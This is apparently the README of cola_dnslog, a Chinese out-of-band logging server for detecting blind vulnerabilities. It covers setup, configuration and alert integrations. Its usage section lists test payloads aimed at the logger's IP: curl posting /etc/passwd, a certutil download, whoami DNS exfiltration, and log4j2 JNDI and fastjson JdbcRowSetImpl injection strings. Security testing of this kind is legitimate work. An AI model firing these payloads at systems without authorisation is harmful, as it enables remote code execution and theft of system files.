--AbelChe
涉及到技术、框架:
dns
http
ldap
rmi
webui
vue-element-admin
fastapi
sqlite
可帮助检测漏洞:
log4j2
fastjson
ruoyi
Spring
RCE
Blind SQL
Bland XXE
特色:
Dingtalk Robot
Bark
API
ldaplog
rmilog
Docker
假设你购买的域名为
example.com
你的vps ip为
1.1.1.1
请自行购买域名,并将域名的解析服务器托管至部署cola_dnslog的服务器
以godaddy为例
- 配置域名解析处右上角三个点,点击Host Names
- 修改或新增主机名如下图所示,ip地址填写你的vps地址即可
- 回到dns管理,将域名服务器修改为
ns1.example.com
和ns2.example.com
共分四步
下载源码
git clone https://github.com/Abelche/cola_dnslog.git
我习惯于将服务用
tmux
放到后台运行
安装python(python>=3.7)依赖
注意,需要用python3.7及以上版本,否则会有兼容性问题,多python推荐使用conda
cd cola_dnslog
pip install -r requirements.txt
修改根目录下的config.yaml
主要需要修改DNS_DOMAIN
NS1_DOMAIN
NS2_DOMAIN
SERVER_IP
可选: 修改HTTP_RESPONSE_SERVER_VERSION
伪造http返回中Server字段
global:
DB_FILENAME: sqlite.db
logserver:
DNS_DOMAIN: example.com
NS1_DOMAIN: ns1.example.com
NS2_DOMAIN: ns2.example.com
SERVER_IP: 1.1.1.1
DNS_PORT: 53
HTTP_HOST: 0.0.0.0
HTTP_PORT: 80
HTTP_RESPONSE_SERVER_VERSION: nginx
LDAP_HOST: 0.0.0.0
LDAP_PORT: 1389
RMI_HOST: 0.0.0.0
RMI_PORT: 1099
webserver:
HOST: 0.0.0.0
PORT: 28001
PASSWORD_SALT: 随便一长串字符串,如:cuau89j2iifdas8
启动webserber端和logserver端,注意这里一定要先启动webserver端(因为要先通过webserver端初始化数据库,初始化之后会在终端输出账号、密码、token、logid等信息。
chmod +x start_webserver
./start_webserver
chmod +x start_logserver
./start_logserver
现在来到前端(不一定要和webserver放在一起,你甚至可以通过electron打包成本地客户端),先修改配置文件.env.production
cd src/app/front
vim .env.production
# just a flag
ENV = 'production'
# base api
VUE_APP_BASE_API = 'http://1.1.1.1:28001'
TARGET_API = 'http://1.1.1.1:28001'
然后npm安装依赖、打包、启动http服务(这里可以随意选择http服务器,为了方便我直接用python启动)
cd src/front
npm install
npm run build:prod
cd dist
python3 -m http.server 18001
至此,三端(webserver端、logserver端、webui前端)已经全部开启!
这时,访问http://1.1.1.1:18001应该可以看到登录页面!
玩得开心!
在钉钉群新建机器人,安全设置:添加自定义关键词coladnslog
并获取到webhook的token,注意,只需要填写token即可
进入webui,修改Dingtalk Robot Token为上文获取的token,点击Update保存即可
效果如下:
Finb/bark-server: Backend of Bark (github.com)
同上 进入webui,开启Bark开关,然后修改bark url,点击Update保存
效果如下:
上文提到,假定我的域名和ip是example.com
和1.1.1.1
,并且我们账户的logid为qrq
nsloopup `whoami`.qrq.example.com
ping `whoami`.qrq.example.com
curl 1.1.1.1/qrq/some/info
curl -d @/etc/passwd 1.1.1.1/qrq/postdata
certutil -urlcache -split -f http://1.1.1.1/x x
log4j2 fastjson等可以使用此方法
注意这里必须要令最后路径的最后作为logid,如:ldapqrq
xxxxqrq
qrq
xxx/qrq
${jndi:ldap://1.1.1.1:1389/ldapqrq}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://1.1.1.1:1389/ldapqrq", "autoCommit":true}
同上,log4j2 fastjson等
${jndi:rmi://1.1.1.1:1099/rmiqrq}
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://1.1.1.1:1099/rmiqrq", "autoCommit":true } }
-
2022-08-09 v1.2.2 v1.2.3
- 更新readme
- 修复文件名拼写错误
-
2022-08-03 v1.2.1
- 更新readme
-
2022-08-02 v1.2.0
- 增加bark提醒功能
- 修改logserver端http的返回为1x1的gif格式图片
- 增加http返回包里
Server
字段的伪造功能 - 修复前端profile页面开关bug
-
2022-08-01 v1.1.0
- 增加重新生成token、修改密码功能
- 优化前端展示效果,优化渲染速度
- 增加id排序功能
- 首页Usage部分根据服务端自动生成
- 增加钉钉机器人
- 修复rmi协议解析bug
-
2022-07-30 v1.0.0
- cola_dnslog发布 v1.0.0
- 联动钉钉【2022-07-31】
- 联动bark【2022-08-02】
- 添加api文档
- 增加ip属地功能
- docker一键部署
- 其他协议
本项目使用 Apache License 2.0
参考:
- https://panjiachen.github.io/vue-element-admin-site/zh/
- https://github.com/NickstaDB/SerializationDumper
- https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/faq.html#netcontact
- http://www.hackdig.com/02/hack-596460.htm
- 太多了没法一一列出......................
师傅们可以加我wx,一起交流进步RG9nZ3lDaGVuZwo=
给他买杯咖啡,让他接着码! | 也可以加星球一起交流(免费) |
---|